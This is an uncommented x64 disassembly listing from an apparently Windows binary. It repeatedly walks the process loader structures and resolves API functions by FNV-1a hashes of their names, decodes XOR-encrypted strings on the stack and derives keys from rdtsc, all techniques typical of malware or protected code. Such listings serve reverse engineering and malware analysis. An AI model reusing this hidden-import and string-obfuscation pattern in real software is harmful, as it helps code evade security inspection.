cmp r8, r10
je 0x140042658
movsx eax, byte [r8]
mov edx, eax
sub al, 0x41
mov ebx, edx
or ebx, 0x20
cmp al, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140042633
cmp r9d, edi
jne 0x1400427a7
mov r11, qword [rcx + 0x30]
test r11, r11
je 0x1400427af
movsxd rax, dword [r11 + 0x3c]
mov rdx, qword [rax + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x1400427a7
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x1400427a7
mov r12d, dword [r15 + 0x20]
dec r10d
lea rax, [r12 + r10*4]
mov edx, dword [rax + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x1400426e9
movsx eax, bl
sub bl, 0x41
mov edx, eax
or edx, 0x20
cmp bl, 0x19
cmova edx, eax
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x1400426c2
cmp r9d, r14d
je 0x1400426fb
test r10d, r10d
jne 0x1400426a1
mov rcx, qword [rcx]
jmp 0x140042600
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x1400427b1
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x1400427b1
mov edi, 0x811c9dc5
mov r14d, edi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x140042764
nop word [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x140042740
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x140042796
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x140042770
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x140042600
xor edx, edx
call rdx
cmp eax, 0xb7
je 0x1400472e5
xor esi, esi
mov edi, 0x8285aca5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1240], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140042850
mov r8, qword [rbp + 0x1248]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140042847
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140042820
cmp r9d, esi
jne 0x140042995
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004299d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140042995
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140042995
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x1400428d8
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x1400428b1
cmp r9d, edi
je 0x1400428ea
test r10d, r10d
jne 0x140042890
mov rax, qword [rax]
jmp 0x1400427e0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x14004299f
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x14004299f
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x140042954
nop dword [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x140042930
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x140042984
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x140042960
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400427e0
xor edx, edx
mov rcx, qword [rbp + 8]
call rdx
mov ecx, 0x400
call fcn.14000d720
mov qword [rbp + 0x3070], rax
test rax, rax
je 0x1400429c8
mov rcx, rax
call fcn.140033130
mov r14, rax
jmp 0x1400429cb
xor r14d, r14d
mov qword [rsp + 0x78], r14
mov qword [0x1401c01c8], r14
rdtsc
shl rdx, 0x20
or rax, rdx
mov r8, rax
add r8, r8
mov rcx, qword [rbp + 0x3b28]
imul rdx, rcx, 0x34124c
mov r9, qword [0x1401c01c0]
add r9, rdx
mov qword [0x1401c01c0], r9
mov dword [r14 + 0x81], r9d
mov ecx, r9d
neg ecx
mov r12d, 0x40
test ecx, ecx
jle 0x140042a3c
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r8
movzx ecx, al
shr rbx, cl
movzx ecx, dl
mov rdx, r8
shl rdx, cl
or rdx, rbx
jmp 0x140042a5b
mov eax, r9d
and eax, 0x3f
mov edx, eax
mov ecx, r12d
sub ecx, eax
mov rax, r8
shl rax, cl
movzx ecx, dl
mov rdx, r8
shr rdx, cl
or rdx, rax
mov r11d, r9d
movabs rax, 0x52769b7595d28718
add r11, rax
xor r11, rdx
mov qword [r14 + 0x71], r11
mov ecx, r9d
mov r10, r11
test r9d, r9d
jle 0x140042a9b
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r11
movzx ecx, al
shr rbx, cl
movzx ecx, dl
shl r10, cl
or r10, rbx
jmp 0x140042ab6
neg ecx
and ecx, 0x3f
mov edx, ecx
mov ecx, r12d
sub ecx, edx
mov rax, r11
shl rax, cl
movzx ecx, dl
shr r10, cl
or r10, rax
movabs rax, 0x5b9d72674fe23117
imul r10, rax
mov qword [r14 + 0x79], r10
xor r8, r11
cmp r9d, 0x7fffffff
jb 0x140042afb
mov ecx, r9d
neg ecx
test ecx, ecx
jle 0x140042b1f
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r8
movzx ecx, al
shr rbx, cl
movzx ecx, dl
shl r8, cl
or r8, rbx
jmp 0x140042b39
test r9d, r9d
jle 0x140042b1c
and r9d, 0x3f
mov ecx, r12d
sub ecx, r9d
mov rbx, r8
shr rbx, cl
movzx ecx, r9b
shl r8, cl
or r8, rbx
jmp 0x140042b39
neg r9d
and r9d, 0x3f
mov ecx, r12d
sub ecx, r9d
mov rax, r8
shl rax, cl
movzx ecx, r9b
shr r8, cl
or r8, rax
xor r8, r10
mov qword [r14 + 0x69], r8
xor esi, esi
mov edi, 0x5d4d5b80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1250], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140042bd0
mov r8, qword [rbp + 0x1258]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140042bc7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140042ba0
cmp r9d, esi
jne 0x140042d26
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140042d2e
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov rcx, rdx
shr rcx, 0x20
mov qword [rbp + 8], rcx
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140042d26
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140042d26
mov r13d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r13]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140042c67
nop word [rax + rax]
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140042c40
cmp r9d, edi
je 0x140042c79
test r10d, r10d
jne 0x140042c14
mov rax, qword [rax]
jmp 0x140042b60
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov r8d, dword [rcx + rax*4]
add r8, r11
cmp r8, r15
jbe 0x140042d31
mov rax, qword [rbp + 8]
add rax, r15
cmp r8, rax
jae 0x140042d31
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [r8]
cmp dl, 0x2e
je 0x140042ce5
nop dword [rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc r8
movzx edx, byte [r8]
cmp dl, 0x2e
jne 0x140042cc0
inc r8
movzx edx, byte [r8]
test dl, dl
je 0x140042d15
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea r8, [r8 + 1]
movzx edx, byte [r8]
test dl, dl
jne 0x140042cf0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140042b60
xor r8d, r8d
mov r14, qword [rsp + 0x78]
mov ecx, dword [r14 + 0x81]
mov r9, qword [r14 + 0x79]
xor r9, qword [r14 + 0x69]
cmp ecx, 0x7fffffff
jb 0x140042de5
test ecx, ecx
jle 0x140042d73
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r9
movzx ecx, al
shr rbx, cl
movzx ecx, dl
shl r9, cl
or r9, rbx
jmp 0x140042d8e
neg ecx
and ecx, 0x3f
mov edx, ecx
mov ecx, r12d
sub ecx, edx
mov rax, r9
shl rax, cl
movzx ecx, dl
shr r9, cl
or r9, rax
xor r9, qword [r14 + 0x71]
xor r9, r8
mov rax, qword [rbp + 0x3b28]
imul rcx, rax, 0x34124c
mov r8, qword [0x1401c01c0]
add r8, rcx
mov qword [0x1401c01c0], r8
mov dword [r14 + 0x9d], r8d
mov ecx, r8d
neg ecx
test ecx, ecx
jle 0x140042e08
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r9
movzx ecx, al
shr rbx, cl
movzx ecx, dl
mov rdx, r9
shl rdx, cl
or rdx, rbx
jmp 0x140042e27
mov ebx, ecx
neg ebx
test ebx, ebx
jle 0x140042d75
and ebx, 0x3f
mov edx, ebx
mov ecx, r12d
sub ecx, ebx
mov rbx, r9
shr rbx, cl
movzx ecx, dl
shl r9, cl
or r9, rbx
jmp 0x140042d8e
mov eax, r8d
and eax, 0x3f
mov edx, eax
mov ecx, r12d
sub ecx, eax
mov rax, r9
shl rax, cl
movzx ecx, dl
mov rdx, r9
shr rdx, cl
or rdx, rax
mov r11d, r8d
movabs rax, 0x1ec8194699f7a15e
add r11, rax
xor r11, rdx
mov qword [r14 + 0x8d], r11
mov ecx, r8d
mov r10, r11
test r8d, r8d
jle 0x140042e6a
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r11
movzx ecx, al
shr rbx, cl
movzx ecx, dl
shl r10, cl
or r10, rbx
jmp 0x140042e85
neg ecx
and ecx, 0x3f
mov edx, ecx
mov ecx, r12d
sub ecx, edx
mov rax, r11
shl rax, cl
movzx ecx, dl
shr r10, cl
or r10, rax
movabs rax, 0xf7cbe420eb2cf440
imul r10, rax
mov qword [r14 + 0x95], r10
xor r9, r11
cmp r8d, 0x7fffffff
jb 0x140042ecc
mov ecx, r8d
neg ecx
test ecx, ecx
jle 0x140042ef1
and ecx, 0x3f
mov eax, ecx
sub r12d, ecx
mov rdx, r9
movzx ecx, r12b
shr rdx, cl
movzx ecx, al
shl r9, cl
or r9, rdx
jmp 0x140042f0c
test r8d, r8d
jle 0x140042eee
and r8d, 0x3f
sub r12d, r8d
mov rdx, r9
movzx ecx, r12b
shr rdx, cl
movzx ecx, r8b
shl r9, cl
or r9, rdx
jmp 0x140042f0c
neg r8d
and r8d, 0x3f
sub r12d, r8d
movzx ecx, r12b
mov rax, r9
shl rax, cl
movzx ecx, r8b
shr r9, cl
or r9, rax
xor r9, r10
mov qword [r14 + 0x85], r9
mov rax, qword [r14]
mov rcx, r14
call qword [rax]
cmp qword [0x1401c01b8], 0
jne 0x140042f4e
mov ecx, 0x1018
call fcn.14000d720
mov qword [rbp + 0x2cf8], rax
test rax, rax
je 0x140042f47
mov rcx, rax
call fcn.14004e1a0
nop
mov qword [0x1401c01b8], rax
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x38c0]
call fcn.14007c620
xor eax, eax
mov byte [rbp - 0x25], al
mov byte [rbp - 0x24], al
mov r8, qword [0x1401c0510]
test r8, r8
jne 0x1400431a5
xor esi, esi
mov edi, 0x70e2d349
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1260], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140043010
mov r8, qword [rbp + 0x1268]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140043007
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140042fe0
cmp r9d, esi
jne 0x140043155
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004315d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140043155
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140043155
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140043098
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140043071
cmp r9d, edi
je 0x1400430aa
test r10d, r10d
jne 0x140043050
mov rax, qword [rax]
jmp 0x140042fa0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x14004315f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14004315f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140043114
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x1400430f0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140043144
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140043120
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140042fa0
xor ebx, ebx
mov qword [0x1401c0510], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rcx, [rax + rax*4]
mov qword [0x1401c0518], rcx
cmp rcx, rbx
je 0x140043170
mov r8, rcx
xor r8, rbx
mov qword [0x1401c0510], r8
mov eax, ecx
xor eax, 0x70e2d349
mov dword [0x1401c0508], eax
jmp 0x1400431ac
mov rcx, qword [0x1401c0518]
xor r8, rcx
movabs rax, 0x4b1ff67ad7ad4ef1
movabs rcx, 0x35fae148278a2caa
movabs rdx, 0x397a9e19b9d82f9d
mov qword [rbp + 0x1270], rdx
mov qword [rbp + 0x1278], rcx
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], rcx
xor eax, eax
mov byte [rbp - 0x23], al
movdqa xmm0, xmmword [rbp + 0x1c0]
pxor xmm0, xmmword [rbp + 0x1270]
movdqa xmmword [rbp + 0x1c0], xmm0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x38c0]
call r8
lea rdx, [rbp + 0x38c0]
mov rcx, qword [0x1401c01b8]
call fcn.140055cc0
xor esi, esi
mov edi, 0x8b519c0d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1280], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400432c0
mov r8, qword [rbp + 0x1288]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x1400432b7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140043290
cmp r9d, esi
jne 0x140043405
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004340d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140043405
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140043405
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140043348
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140043321
cmp r9d, edi
je 0x14004335a
test r10d, r10d
jne 0x140043300
mov rax, qword [rax]
jmp 0x140043250
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x14004340f
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x14004340f
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x1400433c4
nop dword [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x1400433a0
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x1400433f4
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x1400433d0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140043250
xor edx, edx
xor ecx, ecx
call rdx
xor edx, edx
xor ecx, ecx
call fcn.140028450
lea rcx, [rbp + 0x1530]
call fcn.1400302e0
lea rcx, [rbp + 0x1530]
call fcn.14002fe10
nop
lea rdx, [0x1400c1c88]
lea rcx, [rbp + 0x140]
call fcn.14004fda0
nop
lea rdx, [0x1400c1c88]
lea rcx, [rbp + 0x48]
call fcn.14004fda0
nop
lea rcx, [rbp + 0x20]
call fcn.140039230
nop
mov rdi, qword [rbp + 0x20]
mov rsi, qword [rbp + 0x28]
cmp rdi, rsi
jne 0x140043882
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1aa0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140043500
mov r9, qword [rbp + 0x1aa8]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x1400434f7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x1400434d0
cmp r10d, esi
jne 0x140043647
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x14004364f
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x140043647
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x140043647
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [rdi + r11*4]
mov edx, dword [rcx + r12]
mov r10d, 0x811c9dc5
movzx ebx, byte [rdx + rdi]
lea r9, [rdi + 1]
add r9, rdx
test bl, bl
je 0x140043587
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140043560
cmp r10d, r8d
je 0x140043599
test r11d, r11d
jne 0x140043540
mov rax, qword [rax]
jmp 0x140043490
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov eax, dword [r15 + 0x24]
add rax, rdi
movzx eax, word [rax + r11*2]
mov ebx, dword [rcx + rax*4]
add rbx, rdi
cmp rbx, r15
jbe 0x140043651
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140043651
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140043604
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x1400435e0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140043636
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140043610
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140043490
xor ebx, ebx
movabs rax, 0x5e54ca49f08a64ce
movabs rcx, 0x5a88930d07a70ccd
movabs rdx, 0x2c48a75b027dda0d
movabs r12, 0x49f01a2af1b445cc
movabs r15, 0x397a9e19b9d82f9d
mov qword [rbp + 0x14b0], r15
movabs r8, 0x35fae148278a2caa
mov qword [rbp + 0x14b8], r8
movabs r13, 0x2c48a75b027dda7f
mov qword [rbp + 0x14c0], r13
mov qword [rbp + 0x14c8], r12
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], rcx
mov qword [rbp + 0x330], rdx
mov qword [rbp + 0x338], r12
movdqa xmm0, xmmword [rbp + 0x14b0]
pxor xmm0, xmmword [rbp + 0x320]
movdqa xmmword [rbp + 0x320], xmm0
movdqa xmm1, xmmword [rbp + 0x330]
pxor xmm1, xmmword [rbp + 0x14c0]
movdqa xmmword [rbp + 0x330], xmm1
movabs rcx, 0x4d5af15799850ec6
movabs rdx, 0x41dacd3c42ed5ecb
movabs rdi, 0xb7ee1b7f7170c38f
movabs rsi, 0x6374f67682661e3e
movabs r9, 0x4d3cd43e705da30d
movabs r10, 0xaa03a4d9fdd31be
movabs r11, 0x8778fec4d1e98791
movabs r14, 0xe7bbf6ce0e9aa532
mov qword [rbp + 0xbb0], r15
mov qword [rbp + 0xbb8], r8
mov qword [rbp + 0xbc0], r13
mov qword [rbp + 0xbc8], r12
movabs rax, 0xf30b90adf19be8b1
mov qword [rbp + 0xbd0], rax
movabs rax, 0xd68b6f2c511cafee
mov qword [rbp + 0xbd8], rax
movabs r8, 0x5344c64fa13d3e53
mov qword [rbp + 0xbe0], r8
movabs rax, 0xe7bbf6ce0eb4f800
mov qword [rbp + 0xbe8], rax
mov qword [rbp + 0x4c0], rcx
mov qword [rbp + 0x4c8], rdx
mov qword [rbp + 0x4d0], r9
mov qword [rbp + 0x4d8], r10
mov qword [rbp + 0x4e0], r11
mov qword [rbp + 0x4e8], rdi
mov qword [rbp + 0x4f0], rsi
mov qword [rbp + 0x4f8], r14
movdqa xmm0, xmmword [rbp + 0x4c0]
pxor xmm0, xmmword [rbp + 0xbb0]
movdqa xmmword [rbp + 0x4c0], xmm0
movdqa xmm1, xmmword [rbp + 0x4d0]
pxor xmm1, xmmword [rbp + 0xbc0]
movdqa xmmword [rbp + 0x4d0], xmm1
movdqa xmm0, xmmword [rbp + 0x4e0]
pxor xmm0, xmmword [rbp + 0xbd0]
movdqa xmmword [rbp + 0x4e0], xmm0
movdqa xmm1, xmmword [rbp + 0x4f0]
pxor xmm1, xmmword [rbp + 0xbe0]
movdqa xmmword [rbp + 0x4f0], xmm1
lea r8, [rbp + 0x320]
lea rdx, [rbp + 0x4c0]
xor r9d, r9d
xor ecx, ecx
call rbx
nop
lea rcx, [rbp + 0x20]
call fcn.14002fc70
nop
lea rcx, [rbp + 0x48]
call fcn.14002fce0
nop
lea rcx, [rbp + 0x140]
call fcn.14002fce0
jmp 0x14004509d
mov rcx, rdi
call fcn.14002b160
mov rcx, rax
call fcn.140076280
test al, al
jne 0x1400438ae
mov rcx, rdi
call fcn.14002b160
mov rcx, rax
call fcn.140076c90
test al, al
je 0x1400439a3
lea rdx, [rbp + 0x2b40]
mov rcx, rdi
call fcn.14004fd30
mov rbx, qword [rax]
lea rdx, [rbp + 0x2528]
mov rcx, rdi
call fcn.14004fd50
lea r9, [rbp - 0x22]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x35c0]
call fcn.140055860
nop
mov rcx, rax
call fcn.14000ac90
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.1400754d0
nop
lea rcx, [rbp + 0x35c0]
call fcn.14002b180
mov rax, qword [rbp + 0x88]
cmp qword [rbp + 0x80], rax
je 0x140043997
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x34c0]
call fcn.14004f660
mov rdx, rax
lea rcx, [rbp + 0x34e0]
call fcn.140038df0
cmp byte [rbp + 0x34e0], 0
jne 0x14004398a
mov eax, 7
xor ecx, ecx
cpuid
mov dword [rbp + 0xa88], eax
mov dword [rbp + 0xa8c], ebx
mov dword [rbp + 0xa90], ecx
mov dword [rbp + 0xa94], edx
shr ecx, 7
test cl, 1
je 0x14004397b
cmp byte [rbp + 0x34e1], 0
lea rcx, [rbp + 0x48]
jne 0x140043982
lea rcx, [rbp + 0x140]
mov rdx, rdi
call fcn.14002fd40
lea rcx, [rbp + 0x34e0]
call fcn.14003c450
nop
lea rcx, [rbp + 0x80]
